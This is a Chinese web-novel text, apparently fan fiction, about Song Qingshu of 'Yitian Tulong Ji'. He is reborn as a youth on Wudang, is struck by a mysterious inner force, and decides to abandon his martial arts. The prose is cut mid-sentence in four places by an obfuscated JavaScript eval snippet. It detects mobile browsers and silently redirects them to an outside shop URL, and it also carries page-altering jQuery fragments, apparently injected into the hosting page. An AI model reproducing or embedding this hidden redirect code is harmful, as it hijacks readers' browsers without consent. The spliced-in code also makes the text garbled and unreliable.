《青书踏雾返仙山》 1. 可能将我送华年 宋青书可还记得那天屠狮大会上,天空像一块灰白色的布,光亮都揉碎在这布里面,风裹着寒凉之气绵密地朝他袭来。 远处的少林车的楼宇隐在沉沉的暮霭里,只剩在模模糊糊的影子只在他眼前晃个不停。 比武场上,一片肃穆,众人如同雕塑一样静默无言,地上的泥土被人们扬起一层又一层。直把人迷得睁不开眼。 只见他爹宋远桥一脸沉痛,向前询问:“请问阁下高姓大名?” 宋青书只能背对着他久久无言,亦是无颜面对。他今日特意贴了厚重的络假胡子而来,为的就是怕被人认出来,可是又有什么用呢? 终究是无颜得见江东父老? 怎么会这样?我怎么会把自己弄到这步田地? 宋青书在心里自己问自己,可是也得不到什么答案。 此刻父子之情还是涌上来令他心中一算。 “无名小辈,不劳宋大侠过问。”宋青书只得低低地回了一句。 后面他爹到底说了什么,他俱也听不清了,他发觉自己已经变成了一具提线木偶,一句行尸走肉。 他按照和周芷若商量好的去做,他看到自己杀死了丐帮的执法长老和掌钵龙头之后,仅是轻蔑地一笑。 他觉得自己是那样地陌生,好像眼前这个冷酷的人不是他一样,他怎么会变成这样一副鬼样子? 及至他二叔俞莲舟上得场来说:“范大师,可不可以让在下同宋少侠讨教?”宋青书向来怕他这二伯,平时碰见他就跟老鼠碰见猫一样。 这次也是如此,他的心里已燃起一股羞惭之气,但是还是强压下去,事至如今,也只能是不撞南墙不回头了。 于是他口里连说:“不敢”。 哪知俞莲舟他双掌如风,招式奇快无比,短瞬间宋青书已经中了他两掌。 俞莲舟左腿一扫,他已是避之不及,等到他再想以周芷若所授之九阴白骨抓来对阵,早是来不及了,宋青书感觉得到自己的头部、下颌处各受了一掌,栽倒在地,不省人事。未知性命如何? 在最后一刻,宋青书想:莫不如就这样被俞二叔打死也不错,死在他二叔手里,总比死在别人手里要强一些。 似他这等不肖子孙,整个武林恐怕找不出第二个。如此卑劣不孝的人出自武当,简直玷污了武当的门楣。 然而心中仍然有不甘心。 …… 没想到他居然还未死,等他再有意识的时候,已经是在武当山上了。 只见撞入眼帘的是一棵棵顶立的松树,墨绿的松树在风中轻摇,似在迎接归客,阳光穿过枝叶洒落颗颗露珠折射出七彩光晕,为苍劲的青松添了几分灵动。 山石间的飞泉汩汩而流,奏出动人的乐音,溪流淙淙潺潺,清澈见底。鸟儿于林间啁啾,飞燕在枝头啼鸣不绝,真乃人间仙境。 最后如果能够死在生他养他的武当也再好不过。 道童把他慢慢地抬着,从山脚下的福地拾级而上,沿途石阶曲折,两侧古木参天,松涛阵阵。入得殿内光明如洗,香火缭绕,氤氲的雾气让宋青书的内心得到了前所未有的平静。 张三丰令清风明月好好招待到场的明教众人之后,他爹宋远桥跪在张三丰面前,其余在场众人也一并跪下。 宋远桥哽咽出声:“弟子教子无方,孽子害死七弟,辱及武当声誉,请师父处置。” 张三丰也是一脸痛惜,其实之前他也说过:“我武当第三代只有青书武力稍微强一点……” “如此孽子,有不如无。”宋青书终于得到了解脱。 他想他这一生到底是与人无尤。 宋青书从一片虚空中醒来,视野所及之处,无一丝杂色,唯有纯粹的白在空间里无限铺展。 地面与穹顶的边界消融,只剩下均匀的白包裹着感官。 若伸手去碰“墙面”,指尖只会感受到一股小小的阻力,如同按在蓬松的云絮上,一圈圈地晕散,收回手后,那处的白又迅速地恢复平整,不留半点痕迹。 突然有声音自悠远处传来:“好好看看这本书吧。”然后凭空中竟然出现了一本厚厚的书,落在地上,寂静无声。 只见一侧暗黄色的封面上是一个跨着弓步的满面虬髯的汉子,汉子身侧右边写有倚天屠龙记几个大字。 宋青书心中灵光一闪,顺着这封面翻开书本,却一时有点不明所以,你道为何,原来宋青书是古人,看书都是从后往前看,并且都以竖排版字为准,所以一时难以理解。 他又随便翻阅了几下,才明白过来,这书要横着看,而且要从前面往后面看。 初翻书页时,由于是简体字,而宋青书惯于看繁体字,可随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109820|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他越往后看,那些文字却渐渐令他浑身酣畅。 他看着书里的宋青书从六大派围攻光明顶之时开始出现,一步步地走向毁灭、堕落,完全就像是在看别人的人生一样。 他似乎是被拿来当工具人的无关紧要的小角色,不需要有自己的人生。 他让武蒙着,让天下人耻笑,笑话武当好竹里出了一片歹笋。 故事里除有成昆这个反派是不够用的。 从玉面孟尝,再到被丐帮陈友谅挟制,最后到峨眉派掌门的丈夫,他的人生是被侵蚀的人生,是出场之后没多久就一步步跌落的人生。 而张无忌呢?一次一次地得到大的奇遇,走向巅峰。最后与美人相携归隐。 中途四女同舟,连谢逊都在感叹:“想当年我弟张翠山跟我妹子那时扭扭捏捏,今次我无忌孩儿居然有四个女孩跟着他,比之那时,又不知强了多少……” 话语中的沾沾自喜之意已然满溢. 接灭绝师太三掌,收服明教重要部伍五行旗,后又以一已之身独战六大派,明教众高层对他更是心服不已,张教主号令之处,无不一一遵从。 此后又受太师父点拨太极拳、太极剑,武功已无太多敌手,更又学得圣火令武功,这时他已经独步武林,绝无敌手了。 纵观全书,几乎是所有的人和事都围绕着张无忌而推动发展。 及至结尾。 宋青书歆羡吗?的的确确是歆羡不已。 宋青书嫉妒吗?不,他这时候心里已经没有嫉妒了。 他甚至觉得还有些荒诞。 宋青书看完了一遍又一遍,直把整本书都翻得软烂了。 也不知接下来该又如何。 这时,那出自虚空的悠远空灵的声音又响了起来:“我只能帮你到过了,接下来你就慢慢参悟吧,机缘已至,不可失去,哈哈哈,哈哈哈…” 再定晴睛一看,那本书却已经慢慢地为凝成了一缕纤细的柔软的金黄色丝线,然后又慢慢地朝宋青书所在的方向飘来。 宋书下意识地地伸出手指,线的尖端碰到他指尖的那刻,没有凉意,没有刺痛,只有一些极淡的暖意,像被晒过的绸缎轻扫。 那线轻轻一钻,便滑入他的肌跌,今他四肢百骸俱都温暖无比。 不知过了多久,他全然无知无觉了。 2. 可能将我送华年2 指尖先于意识苏醒。 被面是种带有草木气息的柔和软,外面虽粗粝内里却亲肤,蹭过指腹时,还有未散的暖意。 宋书猛地睁开眼,视线撞进一片晃眼的明黄。木质云纹雕花的孔隙中缀着一枝小巧的玉坠,上面的流苏伴随着他起身的动作而轻轻晃动。 煞是好看。 鼻间萦绕着淡淡的熏香,青色的香雾正从香炉里蜿蜒而上。 屋于里并没有多余的桌椅,只一张酸枝木书案与一张圈椅。靠窗处有一张软榻,铺有素色布垫。 整间屋子不太,却藏有一股沉静的力道,处处体现着用心。 宋青书倒隐约记起来,这是他满12岁以后,宋远桥给他布置的一个小房间。 当时他欣喜无极,对着他爹宋远桥连称谢谢。 “青书,怎么在发呆,醒了也不知要叫人?”正在这时,一个身形挺拨的身影,裹挟着院外的松香与潮气,带风而进。他那玄色动装下摆还沾有几片未干的草叶,显是从后山练剑回来。 随身佩剑将他少年侠气衬得愈发鲜明,年轻的嗓音更是体现他的少年意气,只是那一脸的络腮胡子稍显格格不入。 这也没法,这胡子是主人特意而留,为的是身旁诸人不再将他当成小孩看待。 是七叔,是意气风发的七叔,是正直刚健的七叔。 宋青书眼眶一阵泛酸,“七叔”,低低地应了。 那时,一向心高气傲的他情场失意,放纵自己吃醉了酒,来到峨眉女寝外面,酒壮人胆,正要捻破窗户纸,往里看。 “畜生,你做什么?”一声怒喝穿空而来,顿时吓得他三魂去了七魄。 显然是自己所做的事情有失名门风范。 原来是莫七叔,他扭着他的右臂,就要拉着他回武当,让太师父定夺。 他极力扭脱,终于挣开了七叔,拔足狂奔,还是被七叔追上了。 而宋青书那时心中惊惶不定,他经验尚浅,一想到众人知道这件事之后会如何看待他,心里更是心惊肉跳。 于是有了冈山比武,陈友谅该是一直跟着他,觑有空当,立马就加入他二人的比斗之中。 一阵混乱,本来莫叔是有可能打败他二人联手的,就在这之中,他给宋青书露了一个后背。 他没有想到宋青书会杀他,他对宋青书不设防。 可宋青书还是杀了他,用的还是武当绵掌,他只想自己在众人面前的形象依旧是光明的。 宋青书看着莫七叔痉挛倒地,片刻后没了声息,他把尸体搬到山洞里,被张无忌和赵敏发现,还被狼破坏了。 这边厢,莫声谷瞧见宋青书脸上的神色越来越痛苦,以为他是为了宋远桥责骂之故?“青书,你放心,过几天七叔一定要去同你爹说说,让他不要管束你那么紧。” “七叔,我无事。”宋青书抹一抹目上湿润。 他已经记起来这是什么时间点。 13岁时,自他自己有房间之后,越发自命不凡起来。想自己是三代弟子中独一份的,武功最高,他这时已经隐隐有点意识了,爹爹虽是代掌门之职,自己又兼是他的独生爱子,不出意外的话,他就是武当第三代掌门。 是以有一日,宋远桥责咎他不扎实修习武术,几句话说得重了一些。 他内心一时不忿,仓皇奔下山来,行至街上,见熙熙攘攘的人群,这才生出一丝后怕来。 随即他又一想,这有什么好怕的,正好见识一番。 他平日里总是习字练武,要下山,紧跟宋远桥身后。 他悠然地行至巷尾处,因那里有一小糖人店,那糖人一个个栩栩如生,有战神关羽擎着青龙偃月刀,凛凛然,威风八面;又有跃龙门的鲤鱼,连鲤鱼身上的水都那么逼真;再瞧那只糖龙,更是气势非凡。 龙身蜿蜒盘旋,鳞片在阳光下闪烁着晶莹的光泽,仿佛一片片真的龙鳞覆盖其上。 龙角挺拔如松,透着一股威严之气;龙嘴大张,露出锋利的牙齿,仿佛下一秒就要喷出熊熊火焰。 龙爪锐利如钩,仿佛能抓住世间的一切,龙尾摇曳如风,仿佛在空气中舞动,整个糖龙仿佛随时都会腾空而起,直冲云霄。 他被这些东西吸引住眼球,一步步往那里去。 斜刺里却出现一个衣衫褴褛,手持一根油光水滑的竹棍的乞丐,未等他回神,那根竹棍便向他胸前一扫,他堪堪避过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109821|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他习武虽有几年,但社会终究还是阅历不足,第一次与人交手,对方的招式便如此凌厉,且他此时未有配剑,结果当然只有挨打的份。 果真,这老乞丐见他避过,又使出一招‘釜底抽薪’,竹棍往下摆一拂,他未来得及后退,下一招又袭来,弄得他措手不及。 险险避过十几招,那乞丐似乎是故意遛他,等他将要避过的时候下一招立即就来。 于是几十招过后,他渐渐地体力不支起来。但对面那人似乎看出了他的身法,“咦”了一声,收了戏耍他的心思,一招抽云追月竹棍往他后颈袭来,他就不省人事了。 醒来时钱袋玉佩通通都不见,想是那老乞丐见他身法是武当弟子,不想武当来寻仇,只是把他的钱袋玉佩拿走,打晕了,并不伤他。 他挣扎着回至山门,被小道童发现。 那时他已是又累又饿又怕,却不知爹爹从几位师叔找了他许久,始终不见他回来,都心焦不已。宋远桥后面从他口中问明了这件事后,认为是他武功没练到家,所以才被人打成这个样子,简直是丢了他这个武当首席大弟子的脸。 “青书,昨日所教的梯云纵怎么样了?如若不练五十遍,便不用进早饭了。” “青书,今日所教的武当绵掌口诀,记得还清楚吗?再练十个回合,没练完便不要来见我。” …… 而宋青书这时候心里想的是爹爹居然不去为他讨回公道,反而对待他如此严苛,心里对宋远桥生了一些怨怼。 想来这时候他的心已经歪了。 之后数月,几乎每天练武,练到手筋脚筋酸软无力。 武功虽较之前进益的速度快了一点,但是身体上的疲累也导致心里的怨气更加强烈。 “七叔,我们一同去练武场吧。”宋青书提议道。 六叔和七叔的武功由他爹和二叔代授。由于宋青书和莫声谷年纪相差不多,七叔跟他在一起练武的时间还是挺多的,不过有时七叔和六叔也会交叉。 “我的梯云纵已经练得十分娴熟,正好叫我去给你露一手。”莫声谷时年23岁,正是英姿飒爽的年纪,因而这话听起来有种说不出来的潇洒和豪气。 3. 可能将我送华年3 只见武当山紫霄宫的厚练武场还凝着薄霜,莫声谷足尖点在第一级青石板上,青色袍子下摆被山风掀起一角,右手紧握的太极剑斜斜垂在身侧,剑穗还未晃动,整个人如柳絮般飘起。 他足尖点在第二级台阶仅占半分力,膝盖微屈,猛地绷直,腰间发力拧转,踏向第三级。 “好!七叔好脚力。”宋青书为他喝彩。 莫声谷听到了微微一笑,足尖又轻点,再次提气纵身,这次他足尖点石时,故意放慢半拍,感受气流顺着丹田往上涌,待力道攒足,整个人如飞燕般掠过几级台阶。 “青书,你看七叔的功夫如何?”莫声谷拍着自己的胸膛,站在石阶上朗声问道。 宋青书刚才瞧莫七叔施展梯云纵,真如踏风逐月一般!腾挪转折毫无滞涩,身形起落宛若惊鸿,这份轻盈灵动,放眼武林也难寻几人能及! 就连上辈子的自己也及不上七叔这般。 可是就是七叔这样的练武之才毁在了他的手里, 想到这儿,心里不禁一阵抽痛。 莫声谷没有听见宋青书的回应,于是跃下石阶。 宋青书这才走近,作了一揖:“侄儿恭喜,七叔的梯云纵,既有飘逸之感,却十分有力,侄儿实是羡慕。” “哈哈,青书,你这话说的,也给七叔露一手吧。”莫生谷心里被宋青书奉承得十分熨帖,不过莫名也起了一点异样。 他总觉得宋青书今日说话做事较往日有些不同,至于有何不同,他倒又说不上来了,不过他不在意,青书还是那个青书。 他拍了拍宋青书的肩膀,眼含激励之意,示意青书快些演示。 宋青书心想,他这七叔果然是性情刚直,从不说一句多余的话,只是有时失之急躁,不过倒一点儿也无损其可爱之处,当即也不说什么,面向石阶上飞奔而上。 梯云纵乃武当独门轻功,讲究借力提气,踏虚而行,不求快灵,而求稳准,需以自身内力为基,借助周身气流之势,一步一踏间,如履青云。 宋青书自幼在武当长大,天资卓绝,得宋远桥及众位师叔悉心教导,内功已有根基,可第一云纵的‘踏虚’二字,却总还是差了几分火候。他停在第二级台阶上,正准备再往上纵身一跃,内力突然滞涩,丹田之中似乎有另一股气息在乱窜,与他体内内力相互绞缠,两股气息争夺他身体的控制权。无数细针在血泪里钻动,痛楚,使他身形便如断线的风筝往下坠 “青书”莫声谷一声惊呼,施展梯云纵接住了他。 宋青书踉跄着落地,莫声谷扶着宋青书,只见宋青书指节因为用力而泛白,额角冷汗瞬间渗透青丝,瞬间明白宋青书的状况有些严重。 宋青书青色道袍下的身躯不住地颤抖,丹田处更是传来阵阵绞痛,显然是两股力量还在争斗不休。 像是刚才催动内力之际,也将潜藏在体内的这股不知名的力量唤醒了。 “青书,你如何了,青书!”莫声谷焦急地呼唤着他,见宋青书的面色越来越白,嘴唇微微泛着黑,心里更是一沉。 “七叔,我适才只是内力有所不逮,稍微休息一下就可。”宋青书便盘腿而坐,打算催动内力进行调息。 哪知他不催动内力还好,一催动内力越想把那陌生的气息强压下去,那股气息居然越是躁动不停。 他的双掌颤动的幅度越来越大,头上豆大的汗珠滴落,砸在他青色道袍上,顿时晕开一小团水渍。 莫声谷看得心焦。 丹田处的绞痛在加剧,气血翻涌间,一股热流猛地从胸腔往上一冲,宋青书下意识偏过头,一口暗红色的血便顺着口角溢出,溅在身前的青石上,形成点点刺目的红。 莫声谷单膝跪在宋青书身侧,抓起他无力的手腕,轻按寸关尺三脉,再以内力缓缓探入其体内,瞬间便觉宋青书体内气血如沸汤般翻腾不息,全无半点平稳。 这时,宋青书已经在他的怀里晕厥,他当即把宋青书一把抱起,拔足狂奔,沿途还叫了两个小道童去通知宋远桥他们。 要是青书有什么好歹的话,他大哥一定会伤心欲绝,所以万万不可贻误。 俞莲舟和殷梨亭这时候均已下山,一个是去寻找失踪的张翠山,一个是半路改道去了峨眉。张三丰自发生了俞岱岩之事后,常年闭关不出。 现下,宋远桥、张松溪、莫声谷都来看视宋青书,宋远桥探得宋青书脉象浮而虚散,再以内力探入,直觉他体内气血如惊涛拍岸,全然失了章法,原本该温润流转的内息,此刻竟裹挟着逆冲的血气,在经脉中横冲直撞,连带着脉搏跟着时快时慢。 形势十分凶险而怪异。 倒是确实与七弟所说一般无二,“四弟,你也给青书把把脉吧。”宋远桥给张松溪让了让。 张松溪自然也是闭目凝神,一刻钟之后,他双目一睁,又沉吟半晌才说道:“脉象紊乱不堪,浮而无根,是气血上涌,心神失守之兆。” 四侠张松溪聪明机敏,富有智计而善于谋略。而宋远桥则中正谦和,敦厚纯良,处事稳重。“四弟,你认为当用何法治之?”宋远桥这时间居然也无主意。 他一心为这段时间逼之太甚而愧疚,一心又为爱子之病势古怪而心里焦急。 张松溪眉间渐紧,踌躇了起来,他转向莫声谷,缓声问道:“七弟,你说青书是在练习梯云纵的时候,内力迟滞,所以才会如此吧?” 莫声谷听见四哥问他,又观他与宋远桥俱是神情紧绷,素来冷硬的脸上也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109822|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆上一层凝重:“是的,青书他行至第二级,似乎就气力不足,掉落下来,我上前接住,也是发现他浑身滚烫,站立不住。” “那么,我们可以先试着以我们自身内力疏导青书体内的真气,看一下是否有所好转?”张松溪话毕又顿了一顿,接着说:“不过,我们还未弄清青书此病的因由,却不可贸然对他进行施治,不然,恐怕会发生造成无可挽回的结果。”张松溪的聪敏之中带有着谨慎。 莫声谷听着他们的谈话心内更加焦急:“难道就放任青书不管?万一青书病状急转直下,那又如何是好?”莫声谷又替宋青书把了一次脉,发现他宋青书体内情势较之之前更盛。 “四弟,七弟,不须争执了,我看这样吧,由我来疏导青书体内真气,如无作用,到时我几人再去后山禀明实情,请师父他出关”宋远桥说了一个折衷的法子。 “大哥言重了。”兄弟二人异同声。 张松溪捋了胡须:“我和七弟为大哥接续。” 宋桥桥指掌聚气,如温玉般低在宋青书后心灵台穴,内力甫入宋青书经脉,便遇一股强大的气流猛冲而来,那逆气带着蚀骨的戾气,竟似认准了纯阳内为一般,顺着宋远桥的掌力反溯而上。 宋青书喉头一甜,嘴角更是溢出血沫。原本索乱的真气被这股外力一激,瞬间如炸雷般在丹田炸开,左臂经脉更是传来“咔嚓”轻响,竟是确生生被震断了。 宋青年浑身痉孪,额上青筋暴起,此间三人俱各大惊失色,不知做何区处。 “大哥,你觉得如何?”宋远桥早已撤回掌力,他心想:青书体力那股真气怎会如此怪异,像是知道他的内力行径一样,他往哪里,那真气就跟往哪里,像是……像是…… 原来这道气息似有人识,知道攘外需得安内,有外力来时,已经强力压制内力,迫使内力,和它扭成一股。对付宋远桥的内力。 “青书体内情状十分妖异,我看是不得不请师他老人家出关了。”宋远桥捋着已经有白丝的胡须说道。 三人齐齐跪在紫霄宫后殿的石门前,石门已在吱呀声中沉寂了三年。 “请师父出关,去救救我那小儿青书吧。” 忽有微光从门缝渗出;伴着松涛漫过殿前铜鹤,门轴终于发出一声清越的转动音,如同晨钟撞碎山间寂静。 张三丰立于门槛前,只见得他须发皆白,仙风飘举,漫步至三人前。 “师父!”为首的宋远桥终子忍不住出声,话音未落,却见张三丰抬手止住。 “带我去看看青书。”话音落时他袖袍微扬,铜鹤喙尖不知何时结成的露水,滴在了青石板上。 三人一同站起身,随他走出。 张三丰低垂着眼,长眉微蹙。 4. 可能将我送华年4 他枯瘦的手指轻轻搭在宋青书的腕脉处,如两片老松皮覆在新竹上。这罪魁似乎已经个偃旗息鼓,它感受到来人气息的强大,故意不让发现,这罪魁自有一股邪动在其中。 张三一路上已经了解了事情的来龙去脉,宋远桥还在絮叨,张三丰止住他话头,示意他不要说了。 他心中已有猜测:这绝非是练功岔气那么简单的事。 于是他便知道自己的气息必须如春水一般,才能不致这罪魁暴动。 一盏茶的时间之后,他无甚发现,只知宋青事书体内的绝阳内劲在与他的内劲如同嬉戏一般,他又仔细探查,一一炷香的时间过后,纯阳内劲与他的内劲似如鱼得水,君臣相得。 他又加大分内劲力,这时宋青书体内的那股气息似乎按持不住,又蠢赢欲动。 张来微微一笑,心想:入我毂中矣。于是他马上又撤回部分内劲,免得那蠢物再妄动。 无怪乎他这几个弟子探不出有两股内动,只因这罪魁太过狡狯。 就这样一点点撤去内劲,直至完全撤回,已是花了一个时辰。只见外面天气已如墨染,渐渐昏黑了。 张三丰接过张松溪递过来的帕子,擦了擦额头上的汗。 “我观青书体内有另外一股别于武当九阳攻的力量。这力量妖诡异常,再结合你们所说,这股力量与青书的内力成两虎相斗之势,双方互不相让,这才导致他气息紊乱。”张三丰沉声说道。 他也有隐忧,青书是他徒孙,且是武当第三代首徒,日后就算是做了武当掌门也说得过去。他是对他寄予了一定的期望的。 “那岂不是说清书以后都不能用武了?”莫声谷十分激动。 “应是如此,两虎相争,两败俱伤,必有一伤。”张松溪抓住了事情的要害。 宋远桥一时没了言语,因为这件事实在出乎他的意料,这孩子如不能练武,他该如何在武当立足呢? 想及此处,他不由得忧心忡忡。 几人脸上尽是一片痛惜之色,又以莫声谷尤甚,因他与宋青书所处时间最长,感情最为深厚。 宋远桥内心滋味杂陈,一时想说什么,竟是无从话起。 张三丰第三次止住他话头,明了他一片拳拳爱子之心,“远桥不必多说,我们等青书这孩子自己醒来,或许他自己知道那股力量的来源,到那时再说也不迟。” 四人均默默无言了。 床榻的凉意透过薄薄中衣渗进骨缝,宋青书的意识从一片混沌中挣扎着浮起,他费力掀开一线眼皮。 窗棂上的图案映得墙面斑驳,喉间干渴得像要裂开。 他想抬头揉揉发沉的额角,梦中周芷若那泛着寒光的眼神,父亲恨铁不成钢的神情,门派弟子对他的鄙夷和唾骂,这些碎片般的画面一齐撞进他的脑海,他的胸口一阵窒闷,忍不住咳嗽起来。 每咳一下,丹田处的内伤便传来尖锐的痛楚。 “其嗜欲深者,其天机浅。凡外重者,内拙。理深邃宏博,浅人恒做不到。”张三丰多读道藏,庄子更是谙熟。 他见少年此刻心性颇为混乱,这句话便脱口而出。 宋青书听了眼里稍稍清明些许,便向张三丰行了礼:“太师父。” 他自床上慢慢坐起,手中接过张三丰递来的热茶,低低道,“劳烦太师傅。”便一饮而尽,才令干涩的喉头得到热水的滋润而不刺痛了。 “你此刻有恙,倒也不必多说。”张三丰接过茶杯,放在几上。 “太师父来说,你且仔细听着,你体内除了有九阳真气之外,还有一股力量,这两股力量要你势必择其一,鱼与熊掌不可兼得,全看你如何择取。”张三丰的目光如同浸了秋水的古井,平静得看不出一点儿波澜,只寸寸扫过宋青书。 “无论你做何种抉择,走哪条路,你依然是我的好徒孙。”他见宋青书垂着头,目光落在他散乱的发顶。“你的身份不会有任何改变,你永远都可以回到武当山,这里永远可以做你的家,你明白了吗?”张三丰的话如同温汤浇注在宋青书的心头,又蔓延到眼眶。 那眸中晶莹却有些藏不住了,他眼眶泛红,水光裹着他的眼睛,似欲滴下,终究是倔强忍住了。 那泪意在眼眶里晃悠,像盛满碎月。 “青书,蒙太师父不弃,日后必定不会做令武当蒙羞之事。”他脊背挺得笔直,倒有了几分当年初入武当的赤子之心。 他的眼神没有迷惘,只多了几分清亮。他迎着张三丰的视线,没有再躲闪,也没有再垂首。他倏倏然,嘴角竟牵起一抹极淡的,带着释然的弧度,看着这个上一世将他一掌拍死的老人。 上一世这个老人对他想必也是痛心疾首的吧。 太师父曾赞他“十年后可继我衣钵”,甚至早早许诺立他为武当第三代掌门传人,亲传真武七截剑阵奥义,将象征武当核心的真武剑托付于他。 可是他呢?负了太师父的一片殷殷栽培之心。 自己唯一能够比得上张无忌的地方就是决断力,这个优点也曾经是太师父所欣赏的。 可是他呢?辜负了太师父的信任。 这一世,他必不至武当蒙尘,必不负太师傅的教诲。 张三丰精准地接住了宋青书眼底所有情绪,他全程没有移开视线,曾看过江湖百年风雨,辨过无数人心善恶,此刻只于长辈对晚辈的温存与厚意,有着无与伦比的和煦。 几日过后,宋青书仍缠绵床榻,张松溪和莫生谷时时来看望。 宋远桥忙于门派事务,也有近乡情怯的意思。 宋青书自己在做什么?他在内心忖量:书里的我一出场便使人一见心折,人人都赞我是美少年,人人均赞佩我名门弟子果然端方持重,名不虚传。 我费心记住了峨眉弟子的姓名,均无差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109823|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,只不过是为博得灭绝师太的称赞。 后来我本为保全武当名声代几位师叔出征,但看周芷若看着张无忌那含情的眼光,不由妒火中烧,决意置张无忌于死地,结果反而被张无忌打得两颊肿起,出尽洋相,在心仪的女子面前颜面尽失。 我乃武当第三代弟子中出类拔萃的人物,我不能够接受这样的结果。 我的内心不甘,偷窥峨眉女寝,被莫七叔撞见,又失手杀了他。 此后更受陈友谅胁迫,初时不肯下毒加害众位师叔,但陈友谅又以周芷若相胁,我只得妥协。 我究竟是嫉妒张无忌,还是爱慕周芷若,还是两者都有,最后连我自己都不得而知了。 屠狮大会上,我倚恃有周芷若的协助,打死丐帮的执法长老和掌钵龙头,更是在使用武当功夫后,又口出狂言,公然侮辱武当功夫。 二叔俞莲舟,等我使出了九阴白骨爪,才对我狠下杀手,我的天灵盖被他击碎。 一步错便步步错,归根结底是我心高气傲,小人心性,看见张无忌出尽风头,我的内心其实是羡慕无比的。 我期望我能荣光加身,众人归附,我希望我心慕之女子能心慕于我,琴瑟和鸣,我期望我的老父因我与有荣焉,所以陈友谅以利诱我,我便有些心动了,丐帮众人均说我日后要当武当掌门,我平日里也俨然觉得自己就是了。 众花渐欲迷人眼,我被众人推搡着,自己在做什么都不知道,所以一切起源便是武当掌门的位置,我才会变得如此自命不凡,自以为是,心比天高。 殊不知人外有人,天外有天。张无忌练得绝世武功,在光明顶一战中名扬天下,我如今重来一世,难道又与他一竞高低?我是无论如何也比不过他的,何不学太师父? 太师父弱冠之年,便思想着男子汉大丈夫该自立门户,由此,便开创了武当一派,我也可以和太师父一样,开辟出一条不一样的路来,一条完完全全属于自己的路,今日我便绝了武当掌门的念想,从此后起也不必与张无忌争竞长短。 为了这掌门之位,武当门内也是潜流涌动,太师父虽然表面说要将衣钵传我,但是他内心也不想武当成为我宋家父子的天下。 而莫师叔的‘门户有变,急需清理’的留言也言过其实了,或许这是一种态度与暗示,暗示他其实不想我来当武当第三代掌门。 但这个留言也有可能陈友谅的手笔,他想借师叔们的手杀掉张无忌。 至于我如何杀死莫七叔,我自己都不知道,我那时只想永远掩盖住一个污点,七叔又留给了我一个后背,他和陈友谅激斗正酣,而我趁隙偷袭,那我确实是猪狗不如。 可是说不定在混乱中,是陈友谅提前学会了武当绵掌,是他打死七叔,故意诬陷于我呢?毕竟陈友谅十分地奸诈。 我倒也不是为自己开脱,只是总觉得书中的“宋青书”很不真实。 5. 可能将我送华年5 武当山紫霄宫的后殿,宋青书盘膝坐在蒲团上,周围玄松苍苍,柏林蔼蔼,一片森然。 “气走涌泉,逆冲三关,切记不可让内息滞在膻中。”张松溪立在他身侧,左手虚悬在宋青书后心三寸处,掌心凝着一团极淡的白气,若宋清书散功时稍有内息反噬,这股力道会立即化开他体内滞塞。 宋青书额间青筋凸起,气门向外泄散,每散一分,他肩头便颤一下。 “莫慌。”张松溪看得分明,宋青书丹田内的暖意渐渐散去,像是有东西正从四肢百骸中抽离,往日轻盈的身体正在变得沉重。 事毕,他从蒲团上站起,向钟松溪深深作一揖,说:“青书,谢四叔护法。” “大哥事务繁多,差我来为你护法。”张松溪道。 “无事,我理解爹爹的难处,很高兴四叔能来为我护法。”张宋青书心中暗想,他这四叔向来多智,平时见事极明,应他爹爹要求来为他这个小辈护法,应该也是实属难得了。 他对着四叔粲然一笑。 几日前。 宋远桥手中的茶杯晃了晃,几滴滚烫的茶水溅在手背上,他却浑然不觉。只是盯着面前垂首站立的儿子,那双握惯了剑、批惯了公文的手,竟有些抖。 “你再说一遍。”他声音压得极低,像是暴雨前闷着的雷。 宋青书抬起头,脸色在烛光下显得有些苍白:“父亲,我已决意自废武功。” “胡闹!”宋远桥猛地起身,衣袖带翻了茶杯。瓷盏坠地,脆响炸开,在寂静的夜里格外惊心。 他胸膛起伏,指着宋青书:“你可知你在说什么?一身武学,是自你六岁起,冬练三九,夏练三伏,一点一滴攒下的!是武当派的根基,是你安身立命的本钱!废去?你说得轻巧!以后你靠什么来安身立命?” 